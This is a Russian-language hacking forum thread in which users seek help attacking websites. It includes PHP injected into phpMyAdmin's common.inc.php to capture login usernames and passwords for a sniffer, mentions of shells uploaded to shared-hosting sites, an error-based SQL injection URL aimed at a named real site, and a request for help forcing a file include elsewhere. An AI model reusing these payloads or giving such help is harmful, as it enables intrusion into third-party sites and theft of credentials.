WendM если права на чтение есть то без консоли домашняя должна быть видна можно и через консоль: ls -l -a
права есть, и все я вижу. Суть в том что там много папок, в них папки сайтов, название папки=домен сайта. Так вот, что бы мне руками не шустрить все папки, и не выписывать все домены, я хочу вызвать дерево директорий, потом спарсить названия доменов только почему то ноль реакции. P.S Сижу под пользователем Apache.
Как отослать на снифер пароль введенный в phpmyadmin? Тренируюсь на локалки, для теста добавил в index.php PHP: if (isset($_POST['pma_username'])) { $get_user=$_POST['pma_username']; echo $post_user; } if (isset($_POST['pma_password'])) { $get_pass=$_POST['pma_password']; echo $post_pass; } но ни чего не выходит, переменные $get_pass $get_user пустые. Что не так?
А если так ? PHP: if (isset($_POST['pma_username'])) { $get_user=$_POST['pma_username']; echo $get_user; } if (isset($_POST['pma_password'])) { $get_pass=$_POST['pma_password']; echo $get_pass; } $get_pass и $get_user как раз не пустые, а вот выводимые на экран данные $post_pass $post_user - пустые.
ой, я тупанул. Просто забыл переименовать когда сюда постил. Т.е $get_pass= $post_pass и $get_user=$post_user. А так вопрос решен, там в индексе инклуидится common.inc.php, вот в него и прописываем (в самое начало) PHP: if (isset($_POST['pma_username'])) { $get_user=$_POST['pma_username']; echo $get_user; } if (isset($_POST['pma_password'])) { $get_pass=$_POST['pma_password']; echo $get_pass; } Всем спасибо за внимание
Странно, залил шел на другой сайт, права теже, но редактирую спокойно любые файлы сайта. В чем фишка ? На том сайте где не могу редактировать сижу под пользователем Apache, могу ходить по всем сайтам на хостинге
http://myrusland.ru/maps_regions_'.htm Все попытки раскрутить не приводили к успеху, вроде как всего 1 таблица, хотя я могу ошибаться.
http://myrusland.ru/maps_regions_'and(select*from(select(name_const(version(),1)),name_const(version(),1))a)and(1)='1+--+.htm
Элементарно же, Ватсон. Значит apache не является создателем для того файла, что ты редактируешь. А пользователь на другом сервере - является.
это не LFI, это читалка, но файл перед выводом проходит через loadXML() - который ждет валидного XML а, поэтому фейлит парсинг, и вам ничего не выводит
Помогите как инклудить при данной ошибке? Warning: include(G.php) [function.include]: failed to open stream: Операция не позволяется in /var/www/x/x/x/x/x/x/index.php on line 71 Warning: include(G.php) [function.include]: failed to open stream: Операция не позволяется in /var/www/x/x/x/x/x/x/index.php on line 71 Warning: include() [function.include]: Failed opening 'G.php' for inclusion (include_path='.:') in /var/www/x/x/x/x/x/x/index.php on line 71 Ссылка такого вида: http://site.ru/dir/index.php?print&id=669 изменяю '669' выдазит уже mysql ошибка ,а мне нужен очень инклуд
